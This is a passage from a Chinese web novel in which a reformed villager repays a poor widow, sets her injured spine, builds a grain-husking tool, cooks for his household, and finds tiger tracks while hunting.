“夫君,你别这么说!”白雪儿连忙摇头,小手紧紧攥着他的手:“雪儿不怪你,你现在已经变好了,是天底下最好的夫君。”
李逸苦笑一声,如实说道:“刚才那两个孩子,他们饿肚子是因为夫君之前偷了他们家的粟米。”
“啊?”
白雪儿瞪大了眼睛,脸上满是惊讶,随即露出心疼的神色:“他们好可怜啊……雪儿知道饿肚子的滋味,难受得很,而且野菜又苦又涩,一点都不好吃。”
“是啊。”李逸叹了口气:“算了,我去一趟吧,以前做的错事,总得自己来弥补。”
白雪儿用力点头:“嗯!夫君你去吧!我以后每天少吃一顿饭,巧倩姐姐也少吃一顿,省下来的粮食,至少够他们喝顿稀粥了。”
李逸揉了揉她的头,眼神里满是宠溺:“傻丫头,你回屋歇歇,今天走了一天,肯定累坏了。”
“我不累!”白雪儿鼓着腮帮子:“以后我还要跟夫君进山,帮你采蘑菇挖药草。”
看着白雪儿进屋,李逸转身往村南走去。
太阳已经西斜,天色正以肉眼可见的速度暗下来,没走多远,他又看到了大丫和豆子姐弟俩,他们正蹲在大杨树下,捡着地上的枯枝想来是要带回家生火。
李逸左右看了看,确定周围没人,心念一动,从物品栏里取出一捆干爽的木柴和一袋粟米,这是粮店徐掌柜之前补偿他的,足足有两斗。
远远地跟在两个孩子身后,没多久,一座破败的小院便出现在眼前。
院墙塌了大半,屋顶的茅草也露着窟窿,一看就是常年无人修葺,李初四当年被征兵带走后,就再也没回来,想来早已埋骨沙场。
大丫和豆子推门进屋,床上躺着一个女子正是张绣娘。她听到动静,吃力地扭转过身体,脸上带着病容,脸色苍白得吓人。
“娘,我们回来了!”
大丫懂事的挤出一个笑容,举起手里的竹筐:“你看,我们挖了好多野菜,等下我煮野菜汤,咱们就不用饿肚子了。”
“我还捡了好多柴火!”豆子在一旁擦了把鼻涕,跟着乖巧地说道。
看着两个孩子冻得通红的小脸,满是泥污的手脚,张绣娘的眼眶瞬间红了,声音哽咽:
“嗯……大丫和豆子真乖,都能帮娘干活了。”
“姐姐……我能现在就煮野菜汤吗?”豆子捂着肚子,脸色有些痛苦,“我好饿……”
李逸站在外屋门口,听着屋里的对话,心里五味杂陈。
要么眼不见为净,可既然看见了他实在没法不管不顾,除非他自己也在忍饥挨饿。
李逸清了清嗓子,轻声说道:“嫂子,我进来了。”
突如其来的声音吓了屋里三人一跳,紧接着,李逸的身影便出现在门口。
大丫下意识地把豆子往后一拉,用自己瘦小的身体挡在弟弟和娘亲面前,眼神警惕如小兽:
“坏人!你出去!不许你欺负我娘!”
豆子从姐姐身后探出头,鼓起勇气跟着喊道:“对!不许你欺负我娘!”
张绣娘看到李逸,眼神瞬间变得怨恨,咬牙切齿地说:“李三!你非要把我们孤儿寡母逼死才甘心吗?我家那点粮食都被你偷光了,你还想干什么!”
李逸深吸一口气,压下心头的愧疚,解释道:“嫂子,你别误会。以前我确实做了很多混账事,今天过来,是来还你粮食顺便跟你道歉的。”
他说着,把手里的粟米和木柴放在地上。
张绣娘冷笑一声,满眼讥讽:“你会有这么好心?”
见她不信,李逸无奈地打开布袋,金黄的粟米露了出来,颗粒饱满,看得豆子忍不住咽了咽口水,肚子饿得更厉害了。
大丫看着那满满一袋粮食,也愣住了,一时间不知道该说什么。
张绣娘皱紧眉头,正要开口,李逸抢先说道:“嫂子,我不是什么好人,但粮食是好东西,你也不想看着豆子和大丫饿肚子,对吧?”
大丫和豆子同时转头看向张绣娘,眼神里满是渴望。
张绣娘的心理防线瞬间崩溃了,这些天看着孩子们挨饿,她的心像被刀子割一样疼。
“李三,你到底想干什么?”她的声音里带着一丝绝望:“是想要我这身子吗?可你看我现在这样,连动都动不了,根本满足不了你。”
曾经,她把贞洁看得比性命还重,可自从摔伤后,看着两个孩子日渐消瘦,那种无力感几乎将她压垮。
李逸一愣,随即问道:“你这伤是怎么弄的?”
看着他眼神里的愧疚和关心不似作伪,张绣娘闭上眼,声音沙哑地说:
“前几天发现屋顶漏了,我想爬上去堵上,结果一不小心摔了下来,刚开始只是腿疼,前天早上腰就疼得厉害,连坐都坐不起来了。”
张绣娘深吸一口气,再次睁开眼时,眼神里满是决然,像是下定了某种决心:
“李三,粮食你留下,别为难孩子,等....等我好了.....我就给你。”
这句话说完,她像是抽空了所有力气,一滴眼泪顺着眼角滑落,砸在枕头上。
李逸心里五味杂陈,忍不住在心里暗骂原主浑蛋。
“嫂子,你真的误会了,我不是那个意思。”李逸语气诚恳,“我过来,是真的想弥补以前的过错,如果你不介意,让我看看你的伤,或许我能帮上忙。”
“呵……呵呵呵……”张绣娘惨然一笑,眼神里满是自嘲:“你是觉得我在骗你,故意装病博同情,对吧?来吧,反正我现在这样也反抗不了你。”
她说着,颤抖着掀开身上的薄被,对大丫喊道:“大丫,带弟弟出去生火煮粥,别在这里碍事。”
“娘,我不出去!我不让他欺负你!”大丫摇着头,死死咬着嘴唇。
张绣娘脸色一沉,语气严厉:“你连娘的话都不听了是吗?”
“娘……我听,我听!”
大丫怕娘生气,只好拉着豆子往外屋走,屋里只剩下李逸和躺在床上一脸决绝的张绣娘。
李逸走上前,听张绣娘刚才的描述,心里已经有了猜测。“嫂子,得罪了。”
他说着,伸出手轻轻在张绣娘的后背游走,指尖最终停留在尾椎骨的位置,这里有明显的凸起,能清晰感觉到两节骨头错位了。
脊椎是人体的支柱,任何一节出了问题都会影响行动,严重的甚至会瘫痪。
张绣娘强忍着身上的不适和心里的羞辱感,牙齿紧紧咬着下嘴唇,不让自己发出声音。
就在她以为李逸接下来要做什么不齿之事时,却听李逸说道:
“嫂子,你这是腰伤,尾椎骨有两节错位了,所以才动不了,但只要及时正骨很快就能恢复,要是再拖下去,可能会一辈子瘫在床上。”
第十八章:心情复杂的张绣娘
张绣娘满脸错愕,她早已做好了承受羞辱的准备,却没料到李三竟说出这般郑重的话,语气里没有半分轻佻。
“李三……你这话是什么意思?”她声音发颤,依旧不敢相信。
“嫂子,我能帮你把错位的骨头正回来,就看你愿不愿意信我。”
李逸语气诚恳,正骨本就是医术的一部分,方才摸骨时,他脑海中已清晰浮现出正骨的步骤,只是没有实际操作过,心里也没十足把握。
张绣娘沉默了片刻,眼下她一动不能动,两个孩子不能没人照顾,除了相信李三别无他法,哪怕心里仍存疑虑,也只能赌一把。
“好……你来吧。”
得到应允,李逸小心翼翼地将张绣娘翻过身,让她趴在床上,轻轻掀开她后腰的衣物。
他没有急于动手,而是先在尾椎骨周围反复按摩,既想进一步确认骨头错位的精准位置,也是为了让局部肌肉放松发热,减少正骨时的剧痛,若是一上来就硬掰,常人根本承受不住,甚至可能造成二次伤害。
起初,张绣娘还觉得李三是想趁机占便宜,可随着按摩持续,她渐渐察觉出不对,李逸的手法沉稳有力,不像是在糊弄人乱揉一通,也没有半分轻薄之意,就这么一会她后腰的酸胀感竟还缓解了不少。
十分钟后,李逸觉得时机成熟,才开口说道:“嫂子,等下会有点疼,你忍一下。”
他帮张绣娘调整好姿势,双手分别按在肩膀和胯骨的位置,猛地发力,咔一声清脆的响声传来,紧接着他又将张绣娘的身体翻转,按住和刚才相反的肩膀和胯骨,猛然发力,又传出咔的脆响。
张绣娘闷哼一声,牙齿紧紧咬着,将到嘴边的痛呼硬生生咽了回去,痛感过后,她明显感觉到腰部的僵硬和剧痛消散了大半,原本动弹不得的身子,竟能微微扭动了。
李逸伸手按了按她的尾椎骨,确认骨头已经归位,这才松了口气。
【医术熟练度+ 10】
“嫂子,你试着慢慢坐起来看看。”他伸手扶了一把。
张绣娘在他的搀扶下缓缓坐起,腰部虽还有些酸痛,却已能自主活动了。
她难以置信地看着李逸,眼神里满是困惑与感激,困扰她几日的重伤,就这么被轻易治好了?
“我……我这是真的好了?”她下意识地活动了一下腰身,脸上露出惊喜。
李逸轻轻摇头:“骨头是正回来了但还没完全定型,这几天你要小心别弯腰别用力,不然容易二次错位,我每天过来帮你按摩,连续七天,再好好静养一阵,就能恢复到以前的状态了。”
看着李逸温和的笑容,张绣娘怔了半晌,才低声说道:
“李三,这次……真是多谢你了。”
李逸摸了摸鼻尖,有些不好意思:
“嫂子,你可别跟我客气,以前我做了太多混账事,这顶多算是一点弥补,你好好躺着,我去帮孩子们做饭。”
“哎?使不得!还是我来吧!”张绣娘说着就要下床。
李逸连忙按住她:“嫂子,你现在最重要的是养伤,要是落下病根,地里的活谁干?两个孩子谁照顾?”
提及孩子,张绣娘动作一顿,乖乖躺回床上,深吸一口气下定决心:
“李三,等我彻底好了,你想怎么样,我....我都依你。”
李逸没接这话,转身走出里屋,有些误会说再多也没用,不如用行动证明。
外屋灶台边,大丫已经把没脱壳的粟米倒进锅里,正往里添柴。
豆子蹲在一旁,眼睛死死盯着锅里,馋得直咽口水。
“大丫,豆子,没脱壳的粟米不能多吃,吃多了容易腹胀。”
李逸走过去,摸了摸大丫的小脑袋。
大丫点点头:“我知道,以前娘说过,吃多了肚子会疼。”
“你去看看你娘吧,这里我来盯着。”
粟米粥煮好后李逸端着碗进屋,扶张绣娘坐起身,豆子早就等不及了捧着碗呼呼吹了几下,就迫不及待地往嘴里扒,烫得直咧嘴也舍不得吐。
“嫂子,你们慢慢吃,我先回去一趟。”
李逸放下碗,不等张绣娘回应便大步离开了。
看着李逸消失在门口的背影,张绣娘眼神变得复杂,这次是真的多亏了李三,可他到底是真心悔改,还是另有所图?
李逸在村里转了一圈,估摸着时间差不多,从物品栏里取出一碗脱壳的粟米和一捆木柴,又折返回来。
此时张绣娘三人还没吃完饭,看到李逸再次进门,都愣住了。
“嫂子,这是脱壳的粟米,明天让大丫煮这个,不能总吃没脱壳的粟米。”
他把米放在桌上,又将木柴靠在墙角。
“这木柴够你们用几天,你千万别再乱动干活,明天晚上我再来帮你按摩。”
说完,李逸不再停留转身离去。
屋内,张绣娘看着那碗脱壳的粟米,又看了看墙角的木柴,久久没有说话。
“娘,李三把那袋粟米都倒进米缸了,还用锅盖盖好压了石头,说这样耗子偷不走。”大丫小声说道。
张绣娘伸手摸了摸女儿的头,轻声道:“按辈分,你该喊他三叔的。”
“嗯!大丫记下了,以后都喊三叔。”
李逸回到家时,于巧倩和白雪儿正坐在桌边等他,锅里的粥早就煮好了。
“夫君,怎么样了?”
白雪儿连忙起身迎上来,她已经把事情的来龙去脉告诉了于巧倩。
李逸松了口气,笑着说:“嫂子是从屋顶摔下来,尾椎骨错位了,我已经帮她正了骨,好好休息几天就能恢复。”
于巧倩微微点头,心中暗道:【夫君如今既谦和又踏实,还这般有担当,真是越来越可靠了。】
“太好了!有夫君帮忙,她们以后就不用挨饿了。”白雪儿脸上满是雀跃。
李逸让二女回里屋给秦心月换药,自己则忙着炒泡发好的蘑菇。
秦心月今天才知道身下暖烘烘的东西叫火炕,这般神异的物件,在寒冬里简直是避寒利器。
换药完毕,外屋的菜也炒好了,晾得温热的粟米粥,配上炒蘑菇和剩下的野鸡肉,香气扑鼻。
于巧倩搀扶着秦心月在桌边坐下,她没有拿起碗筷,反而起身对着李逸抱拳行礼,语气郑重:“多谢李公子救命之恩,日后必将报答。”
李逸刚扒了一口饭,见状连忙放下碗筷,学着她的模样抱拳回礼:
“秦姑娘不必多礼,不过是顺手搭救罢了。”
他本想说救人一命胜造七级浮屠,话到嘴边才想起这年代不合适,连忙又咽了回去。
关于秦心月的来历和遭遇,李逸和二女都默契地没有追问,白雪儿虽好奇,被李逸和于巧倩叮嘱过也只好忍着没问。
从白雪儿口中,秦心月已经得知这里是安平县下辖的大荒村,心中大致清楚了自己的位置。
藏身地突然被官兵找到,要么是行踪暴露,要么是被人出卖,父亲以前的亲信和江湖朋友,如今看来也不能再信了,她必须隐姓埋名,换个身份活下去。
天下之大,难道就真的没有她容身之所?
秦心月累了,不想再卷入任何纷争,只想安安稳稳地度过余生。
明天还有很多事要做,李逸早早便睡了,火炕搭建时特意扩充了面积,如今睡四个人也不拥挤,炕头还空着大半。
“夫君……”
白雪儿偷偷溜进李逸的被窝,在他耳边小声说道:“我明天想吃面条。”
李逸笑了,捏了捏她的脸蛋:“真是只小馋猫,行,明晚夫君给你做。”
“嘻嘻,夫君最好了!”白雪儿往他怀里缩了缩,满足地闭上了眼睛。
天刚蒙蒙亮,李逸就起床忙活了,他要做一个简易的脚踩脱壳工具,这工具全用木头打造,不用一颗钉子,靠榫卯结构和木楔子就能固定成型。
心里有了清晰的图纸,制作起来事半功倍,不到正午,这造型奇特的工具就完工了,看着像现代公园里的健身器械。
白雪儿和于巧倩一直在旁边用石杵捣大麦和小麦,想到晚上能吃面条白雪儿格外卖力,时不时抬头望向正忙活的李逸。
“夫君,这是什么呀?雪儿从没见过。”见李逸对着新做的东西面露喜色,白雪儿好奇地跑过去。
李逸故作神秘地笑了笑:“等下你就知道了,去拿一碗没脱壳的粟米来。”
于巧倩端来粟米,李逸亲自演示用法,将粟米倒进工具中间的凹槽,双脚踩住踏板,通过杠杆原理,只需轻轻用力就能抬起另一端的木桩,松开脚后,木桩重重落下,力道比石杵大得多,受力面积也更广,能一次捣碎更多谷壳。
只演示了一遍,于巧倩和白雪儿就看懂了,连忙上前尝试。
“哇!夫君,这东西也太省力了!比用石杵好用多了!”白雪儿踩着踏板,欢呼雀跃。
接下来一整天,二女都在用这台脱壳工具处理粟米、大麦和小麦,一天的成果顶得上以前三四天,两人脸上满是欣喜。
下午,李逸把脱壳的小麦倒进石磨,磨出了一碗面粉,看着面粉里夹杂的细小颗粒,他心想,要是能做个细筛子过滤一下,口感肯定更好。
他又磨了些大麦,磨出来的面粉明显粗糙不少,虽不能做面条,却适合和小麦粉混合后做饼子,口感偏硬但饱腹感极强,干农活时揣一张在身上方便又顶饿,也能泡在汤里或粥里吃。
李逸三人在院子里忙得热火朝天,秦心月偶尔会走出屋看看,看着他们其乐融融的模样,她心中竟生出几分羡慕,她也发觉到李逸和村里其他男人的不同,没有那种男尊女卑的想法,做事有条理,还总能想出新奇的法子。
天色渐暗,李逸开始和面做面条,白雪儿全程守在旁边,眼睛一眨不眨地看着,想学会一碗面粉怎么变成香喷喷的面条。
天气寒冷,剩菜放几天也不会坏。李逸把剩下的鸡肉倒进锅里加水煮沸,浓郁的鸡汤味瞬间弥漫开来,金黄的油珠在沸水里欢快翻滚。
“夫君,快下面条呀!”白雪儿踮着脚尖,眼巴巴地盯着锅。
李逸笑着点头,将擀好切细的面条抖进沸水,面条在锅里翻滚,渐渐变得晶莹透亮,香气越发浓郁。
【厨艺熟练度+ 5】
这次因为多了秦心月,李逸多煮了些面条,四碗热气腾腾的面条端上桌,刚一落座白雪儿就迫不及待地夹起一筷子,吹了吹送进嘴里,满足地眯起了眼睛。
“呜……太好吃了!夫君做的面条越来越香了!”
秦心月看着眼前从未见过的食物,犹豫了一下,学着白雪儿的样子夹起一筷子。
面条软滑裹着鲜美的鸡汤和肉香,入口的瞬间,秦心月的美眸不自觉的瞪大,紧绷的神经竟渐渐放松下来,这是她逃亡以来,吃得最好吃的一顿饭......
第十九章:寒冬在即
吃过晚饭,李逸撂下碗筷,打算去张绣娘家完成今天没做的按摩,临出门时,瞥见白雪儿一双大眼睛亮闪闪的,直勾勾有些黏着他,便知这小丫头也想跟着去。
“走吧,雪儿,跟夫君一道。”
李逸笑着挠了挠头:“我一个大男人,夜里去寡妇家,难免让人嚼舌根,你夫君我在村里,先前可没什么好名声,我倒是无所谓,可是不能污了嫂子的名声。”
“哦……好的,夫君你等我一下!”
于巧倩放下手中的针线活,前几日给李逸缝补鞋子时,她感觉自己有些笨手笨脚的,针脚难看得很,所以这几天她没事就缝补些东西。
【夫君现如今心思细腻,会替他人着想,实在是看不出他曾经竟是那般模样】
于巧倩心中感慨,脸上不自觉地露出浅浅微笑,叮嘱道:“夫君,倩儿,外面天黑,你二人走路可要当心着些”
听到于巧倩的心声和暖心叮嘱,李逸露出温柔笑意:“放心吧,倩儿”
于巧倩心中坚硬的保护壳正在一点点褪去,展露出她更多的温柔,她不如白雪儿那般外向,但她也在用实际行动,证明她在一点点地接受李逸,接受融入这个家。
白雪儿快步跑到灶台边,掀开还冒热气的陶锅盖,从锅里捞出三大块油亮的鸡肉和些吸饱汤汁的蘑菇,这是她特意留下的剩菜,就想着让李逸走时带给那两个可怜的孩子。
“夫君,咱们带过去给大丫和豆子吃吧?”
白雪儿指尖捏着碗沿,步子放得极轻,生怕晃洒碗里的鸡汤,看着她小心翼翼的模样,李逸眼底漫起暖意,宠溺地笑了笑:“好,他们看到一定会很开心的。”
黄昏刚过,就起了风,两人走出不远,细绒似的东西飘落在白雪儿脸颊,凉丝丝的。
“夫君,下雪了!”
李逸仰起头,望着零星飘落的雪,心中感慨。
大荒村本就偏僻苦寒,冬日寒风如刀,一到下雪天,白毛风刮起来能冻死人,到时候村里人只能缩在屋里半步不敢出。
若是没囤够粮食,这冬天,还不知道有哪户熬不下去。
两家离得近,踩着微凉的土路走了片刻,二人就到了张绣娘家的院子。
“嫂子,我来了!”李逸喊了一声。
话音刚落,两个小小的身影就从屋里跑出来。
大丫眼尾带着怯懦却没了昨日的戒备,豆子跟在姐姐身后小脑袋歪着,圆溜溜的眼睛盯着白雪儿,小手攥着姐姐的衣角。
“三叔来了”大丫细声细气地喊。
“三叔!”豆子小声附和。
李逸微笑揉了揉豆子的头顶:“真乖。”
豆子缩了缩脖子,怯生生地问:“三叔,这好看的姐姐是谁呀?”
白雪儿捏了捏他的脸蛋,嘴角漾开两个梨涡:
“不能叫姐姐哦,你要喊小婶婶。”
白雪轻轻抬了抬手里的碗:“外面冷,快进屋,婶婶给你们带肉吃啦!”
肉?
这个字对大丫和豆子来说陌生得很,上次吃肉还是他们爹在时,记忆远得模糊连肉味都想不起来了。
“李三来了……”
张绣娘扶着墙壁走出来,脚步虚浮,白雪儿连忙上前扶住她的胳膊:“嫂子,夫君说你伤没好要少走动,安心养着。”
“你是……”
张绣娘打量着白雪儿,满眼疑惑,她心思都在两个孩子上,对李三的事向来不关心。
李逸挠了挠后脑勺,干笑道:“前些日子我去县衙分地,县衙给我分了两个媳妇,这是白雪儿。”
经过半个月调养白雪儿气色好了不少,脸上长了点肉,皮肤褪去粗糙暗沉看上去很健康,人就显得越发清秀。
“哦……快进屋,外面风大。”
张绣娘侧身让他们进门,目光扫过白雪儿手里的碗,瞥见大块鸡肉,悄悄咽了口口水。
“雪儿,你帮着做晚饭,我给嫂子按摩。”李逸吩咐道。
“好的,夫君。”
有了昨天的经历张绣娘今天全程配合,李逸力道沉稳适中,揉到酸痛处时她额角沁出细汗,闷哼声不再刻意憋着,肩背渐渐放松。
按摩结束,张绣娘按了按腰,满脸难以置信:“三兄弟,嫂子真不知道你有这手艺!原先腰沉得跟坠了石头似的,现在竟轻快多了。”
李逸笑容淡了些,语气诚恳:“嫂子,以前我那个样子,狗都嫌,偷鸡摸狗的事没少做,言语上对嫂子也多有冒犯,还请见谅。”
张绣娘难得露出真心的笑容,眉眼间仍能看出几分美艳,她现在不过才二十六岁。
“都过去了,不提了,要说起来我还得多谢你。”
“嫂子说的哪里话,初四哥不在了,我理应帮着照顾你们娘仨,以后有难处尽管来找我,能帮的我一定帮,都是自家兄弟。”
这番话很真诚像暖流淌进张绣娘心里,她鼻头一酸,眼眶红了,忍不住落下泪来。
“嫂子,饭好啦!”白雪儿的声音从外间传来。
张绣娘连忙抹了把眼泪,吸了吸鼻子应道:“哎,来啦。”
屋里很快摆上饭菜,三碗黏稠的粟米粥上面飘着些野菜,一碗鸡汤放在中间,卧着三大块鸡肉和饱满的蘑菇,浓郁的肉香瞬间弥漫小屋。
大丫和豆子在门口就咽着口水,手指抠着门框,坐上桌后,两人规矩地放好小手,眼神却黏在鸡汤碗上,忍着没动筷,齐齐看向张绣娘。
张绣娘失笑摇头:“快吃吧,看我做什么。”
两个孩子端起碗只小口喝着粥,眼睛依旧盯着碗里的肉。
“怎么不吃肉呀?”白雪儿笑着拿起筷子,将两块肉分别夹到大丫和豆子碗中:“快吃吧,这肉可香了,蘑菇吸了汤汁也好吃,吃完再把鸡汤喝了。”
“谢谢小婶婶……”大丫小声道谢,试探着将肉放进嘴里。
肉香在舌尖扩散,鲜嫩多汁,两个孩子眼睛猛地瞪圆,满脸惊喜。
“娘!这肉太好吃了!太香了!”豆子含混着嚷嚷,眼睛亮得像燃了小火苗。
张绣娘慈爱地看着孩子:“慢点吃,小心骨头啊。”
白雪儿将最后一块肉夹到张绣娘碗里:“嫂子,你也吃点。”
张绣娘连忙摆手:“哎呀,还是留给孩子吃,他们好久没沾过荤腥了。”
“嫂子,你伤还没好,正需要补补。”白雪儿语气软和,“等夫君进山打猎,让他再给你送些来。”
张绣娘看向李逸,眼里带着犹豫。
“嫂子,你就吃吧。”李逸点头:“他们还等着你照顾,你身子好了才能好好照顾他们,我爹以前教过我打猎,明天再进山一趟,打到猎物一定给你们送些来。”
张绣娘连连推辞:“哎呦,可使不得!入冬了,猎物难得,你该拿去乡里换粟米才是,咱们穷苦农户哪能常吃这稀罕物。”
李逸笑了笑,没再多说。
一顿饭吃得温馨,三碗粥很快见底,鸡汤剩下半碗被张绣娘小心翼翼收起来,打算留着明天给孩子吃。
李逸临走前,瞥了眼屋顶的破洞,他在屋里能很清晰的感受到寒风顺着缝隙往里灌,真不知他们娘三晚上是怎么挨的。
今晚的雪只飘了几分钟,落地就化了,像是冬日的预警。
回程路上,李逸心里盘算着:得趁大雪没来前多打些猎物,去县城卖猎物和山货,酒肆王掌柜实在,就算价低些也图个踏实,山林里捡的的药材分卖给大小药铺,也能换些银钱。
时间太赶,要做的事太多,每一分钟都不能浪费。
回到家,李逸没着急歇息,点上油灯做起木工活,不多时,一个两米多高的木梯就渐渐成型了。
次日天刚蒙蒙亮,温度骤降,地上结了层薄霜,李逸裹紧身上的旧冬衣,独自一人进了山。
白雪儿被留在家里和于巧倩一起给粟米脱壳,李逸心中刚又生出个赚铜钱的主意。
如今不管县城还是乡里,都用石杵舂米脱壳,费力又低效,一斤带壳的粟米顶多出七八两净米,这也是净米价格翻倍的原因。
他之前在粮店看过,未脱壳的粟米一斤不到一钱,脱壳后能卖两钱甚至更多,中间的差价是不小的利润。
所以李逸打算多做几个脱壳工具,冬日农闲时让张绣娘来帮工,给她算工钱或换米粮,若是铁牛夫妻愿意也可以加入,人力终究有限,一个人能干的不多,这时就得有可用的人手。
这个想法需要启动资金,要大量购买未脱壳的粟米。
药材虽能卖钱,但普通药材收价极低,穷人为了活命只能被压价,像陈掌柜那样厚道的人少见,眼下最稳定最能创造价值的,还是卖猎物和皮货,分开卖更是能让收益最大化。
“哈哈,开门红!”
走到之前下兔子套的地方,李逸眼睛一亮!
套子里缠住了两只雪兔!雪兔毛皮雪白蓬松,冬日里最受大户人家追捧,有时候兔皮的价值甚至超过兔肉本身。
他麻利的解下套子,确认雪兔断气后,随手收进物品栏,这物品栏的保鲜功能堪称逆天,放进去什么样拿出来还是什么样,不用担心变质。
继续往山林深处走,李逸想狩猎些大型野兽,外围几率太小,只能深入。
没走多远,到了上次射杀野猪的区域,地上留着几坨半干的野兽粪便,看样子至少是前天留下的,那野兽大概率已经离开了这片区域。
“嘎嘎嘎.....”
一阵野鸡的叫声从深处传来,带着挑衅意味,李逸心里一动,这通常是雄鸡求偶或争斗时的叫声,那边大概率不止一只野鸡。
他轻手轻脚穿梭在树林里,尽量不发出声响,很快就摸到声音来源处。
在二十米开外的空地上竟是有三只野鸡,两只雄鸡炸着羽毛对峙着,完全没察觉危险临近。
进入狩猎状态的李逸,周身气息瞬间沉了下来,瞳孔收缩,呼吸细匀,眼里只剩下狩猎者的锐利,箭囊就在后背,触手可及。
拉弓搭箭,屏息凝神……
“嗡!”
弓弦轻响,羽箭如流星射出,精准命中其中一只雄鸡的脖颈。
另一只雄鸡和雌鸡受惊,扑腾着翅膀想要逃窜,发出惊慌的嘎嘎声。
不等它们飞远,李逸手腕一翻,第二支羽箭已搭在弦上,再次松手,羽箭着破空锐响直直射中另一只雄鸡!
【狩猎熟练度+ 10】
【狩猎熟练度+ 10】
系统提示音响起,李逸抽出第三支羽箭瞄准,可那只雌鸡反应极快钻进了密集的树丛,被树干遮挡,错失了射杀机会。
“可惜,真是可惜……”
李逸看着野鸡逃走的方向,摇了摇头,眼里带着遗憾。
他本有三杀的实力,奈何环境干扰没能发挥全部水准,若是狩猎等级再提升一级,动作能更快、瞄准时间更短,或许就能留住那只雌鸡了。
不过,今天收获两只雪兔和两只野鸡,这战绩也算得上很不错了。
收起弓箭,李逸快步上前捡起野鸡,脸上露出了满意的笑容......
第二十章:猛兽踪迹!
李逸调出人物面板扫了眼,他的狩猎熟练度已涨到240,照现在这个进度,升级到下一阶段不会用太久时间。
等两只野鸡彻底断气,他一股脑收进物品栏,灌了两口随身带的水,转身继续往山林深处走。
往常进山,他既要打猎又要采摘山货和寻觅药材,这极大地影响了他行进的速度,往往走到这片区域时基本已近黄昏。
但今天不同,李逸的目标非常明确,只专注狩猎,所以行进速度比平时快了一倍还多,才有机会踏入之前从未探索过的更深区域。
又往更深处走了两个小时,李逸察觉体力消耗不小,盘算着出山所需的时间,今天便打算放弃继续深入的念头,就此返程。
一路赶路没顾上放水,精神稍一放松,膀胱的憋胀感便难以忍受。
“嘶.....憋死了....”
李逸就近找了棵粗壮的树干,放水时视线随意一扫,忽然瞥见树干上有几道深刻的痕迹,像是被蛮力划过,还有一块树皮连带脱落露出里面的木质。
“卧槽?”
李逸忍不住低呼,看到痕迹的瞬间,心里已有了大致判断。
他瞪大双眼绕着树干转了一圈,又在周围几棵树上仔细搜寻,竟真的发现了几缕橙黄色的毛发。
这个发现印证了他的猜测,可以百分百确定,这片区域有猛虎出没!
而他刚才,居然在虎大王的地盘上撒了泡尿!这在动物世界里,简直是赤裸裸的挑衅,等同于是在抢山头。
老虎在这年代被称作大虫,不仅是百兽之王,还被赋予了几分神话色彩,虎皮是奇珍,虎肉是大补之物,价值高得吓人。
老虎的警觉性和攻击性,跟野猪完全不是一个量级,老虎速度极快,虽不擅长长距离奔袭,短距离爆发却堪称恐怖,尤其在山林环境中,从发现猎物到扑杀,往往只需要转瞬之间。
更关键的是,老虎嗅觉敏锐,擅长远距离追踪,就算小心翼翼地接近,也极易被它察觉气味。
以李逸现在的狩猎水平,即便有硬木弓和铁箭头羽箭,想狩猎猛虎也稍显不足,成功率顶多三成,还得靠几分运气加持,更多概率,怕是要成了虎大王的冬日外卖,帮它贴秋膘过冬。
“卧槽!想屁吃呢!脚底抹油吧!”
李逸当机立断,拔腿就跑。
刚才他那泡上火的尿,就是挑衅下战书,要是虎大王在附近,定要追得他上天无路入地无门。想狩猎猛虎,至少得等狩猎等级再升一级,眼下跑路最稳妥。
李逸狂奔了十几分钟,一声浑厚的虎啸便响彻山林,满是滔天怒火,震得树叶簌簌作响。
李逸额头瞬间冒出一层冷汗,暗自庆幸跑得快,若是稍有犹豫,虎大王怕是已经顺着气味追上来了。
一路狂奔回下兔子套的地方,他才敢停下脚步。
扶着树干大口喘气,胸口剧烈起伏,心里仍一阵后怕,要不是这泡尿让他发现了痕迹,再磨蹭一会儿,怕是就要和虎大王转角遇到爱了!
“呵呵呵……”
李逸忽然笑出声,既有逃过一劫的庆幸,也有发现强大猎物的兴奋。
这个年代,能狩猎猛虎的猎户,绝对是传说级的存在,是实力的象征,吹牛的起点便是其他猎户的终点。
要是能猎到老虎,他不介意编一段悲壮的狩猎故事。
八人进山!三死两伤!三兄弟只剩他一人存活,别问为什么,谁让他叫李三!这理由简直天经地义。
配上悲痛的眼泪,一张虎皮本能卖一万钱,至少要涨到一万五千钱。
李逸仿佛已经看到,他用这笔钱买一头大牲口的未来。
只是那老虎若是知道,自己堂堂百兽之王,竟被人猎了换大骡子,怕是会死不瞑目。
合着你把老子和大骡子划分到一个级别?你礼貌吗?
“虎哥,你再等等,多长点膘,过几日,我再来跟你一较高下!”
此刻的李逸,斗志满满,眼底闪着精光。
返回村子时,山边还残留着最后一抹晚霞,火红的霞光染透了半边天。
距离院子不足百米,李逸从物品栏取出所有猎物,用一根木棍挑着,嘴角得意地翘起。
院子里,于巧倩正蹲在灶台边生火煮粥,火苗舔舐着锅底,映得她脸颊微红,白雪儿则是在院子里继续给粟米脱壳。
察觉到有人进来,白雪儿疑惑地抬头,随即就看到自家夫君像打了胜仗的将军,扛着一串猎物归来,足足有三四只。
“夫君回来了!”
她欣喜地喊了一声,拍了拍手上的灰尘,一溜小跑迎到院门口。
“夫君,你这是打了多少猎物呀?”
李逸侧过身,得意地展示着战利品,最是喜欢看白雪儿满脸崇拜的模样。
“姐姐,你快出来看呀!”白雪儿回头朝屋里喊。
于巧倩闻言,连忙擦了擦手从屋里出来,看到李逸肩上挑着的猎物,脸上瞬间露出震惊的表情,语气满是赞叹:“夫君好生厉害,今日竟打了这么多猎物。”
“留下一只咱们自己吃,剩下的拿去县城卖掉,再换些米粮囤着。”李逸走到她面前笑道。
于巧倩连连点头,心里暗自松了口气,她就怕李逸把所有猎物都留下吃,忘了囤够过冬的粮食。
放下猎物,李逸没歇片刻,扛起木工工具和梯子就往张绣娘家去。
屋里,正在炕上修养的秦心月,听到白雪儿的欢呼声,好奇地走了出来。
一眼就看到外屋地上的四只猎物,两只兔子只在后颈有个小小的伤口,两只野鸡则都是一箭致命,射中的位置几乎一模一样。
秦心月自幼习武,虽主攻剑法,但拳脚和射箭也下过苦功,看到这精准的箭法,她心中暗自意外。
若李逸是军武出身或江湖人士,有这样的箭法不足为奇,但李逸只是个山村农户,这水平就着实厉害了。
“雪儿,这些猎物都是李公子打的?”她转头问白雪儿。
白雪儿扬起下巴,语气满是骄傲:“是呀!夫君打猎可厉害了,每次进山都能有收获。”
“他这打猎的本事是跟谁学的?”秦心月追问,不是她疑心重,而是经历过背叛后不得不处处谨慎。
白雪儿想了想,回答道:“夫君说,公爹以前是村里最厉害的老猎户,他的本事都是跟公爹学的。”
